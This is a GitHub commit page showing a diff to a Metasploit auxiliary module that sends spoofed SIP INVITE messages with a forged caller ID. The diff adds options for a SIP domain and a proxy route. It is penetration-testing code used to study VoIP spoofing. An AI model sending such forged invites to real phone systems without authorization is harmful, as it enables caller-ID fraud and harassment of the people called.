Skip to content

Commit

Permalink
recreated in new branch
Browse files Browse the repository at this point in the history
removed space at EOL
  • Loading branch information
Chris John Riley committed Nov 8, 2012
1 parent b75c622 commit 08d56e3
Showing 1 changed file with 28 additions and 5 deletions.
33 changes: 28 additions & 5 deletions modules/auxiliary/voip/sip_invite_spoof.rb
Expand Up @@ -21,8 +21,8 @@ def initialize
},
'Author' =>
[
'David Maynor <dave[at]erratasec.com>',
'ChrisJohnRiley'
'David Maynor <dave[at]erratasec.com>', # original module
'ChrisJohnRiley' # modifications
],
'License' => MSF_LICENSE
)
Expand All @@ -33,7 +33,13 @@ def initialize
Opt::RPORT(5060),
OptString.new('SRCADDR', [true, "The sip address the spoofed call is coming from",'192.168.1.1']),
OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"]),
OptString.new('EXTENSION', [false, "The specific extension or name to target", nil])
OptString.new('EXTENSION', [false, "The specific extension or name to target", nil]),
OptString.new('DOMAIN', [false, "Use a specific SIP domain", nil])
], self.class)
register_advanced_options(
[
OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]),
OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060])
], self.class)
end

Expand All @@ -45,19 +51,36 @@ def run_host(ip)
name = datastore['MSG']
src = datastore['SRCADDR']
ext = datastore['EXTENSION']
dom = datastore['DOMAIN']
sphost = datastore['SIP_PROXY_NAME']
spport = datastore['SIP_PROXY_PORT'] || 5060
conn_string = ''

if not ext.nil? and not ext.empty?
# set extesion name/number
conn_string = "#{ext}@#{ip}"
conn_string = "#{ext}@"
end

if not dom.nil? and not dom.empty?
# set domain
conn_string << "#{dom}"
else
conn_string = "#{ip}"
conn_string << "#{ip}"
end

# set Route header if SIP_PROXY is set
if not sphost.nil? and not sphost.empty?
route = "Route: <sip:#{sphost}:#{spport};lr>\r\n"
end

connect_udp

print_status("Sending Fake SIP Invite to: #{conn_string}")
print_status("Using SIP proxy #{sphost}:#{spport}") if route

req = "INVITE sip:#{conn_string} SIP/2.0" + "\r\n"
# add Route: header to req if SIP_PROXY is set
req << route if route
req << "To: <sip:#{conn_string}>" + "\r\n"
req << "Via: SIP/2.0/UDP #{ip}" + "\r\n"
req << "From: \"#{name}\"<sip:#{src}>" + "\r\n"
Expand Down

0 comments on commit 08d56e3

Please sign in to comment.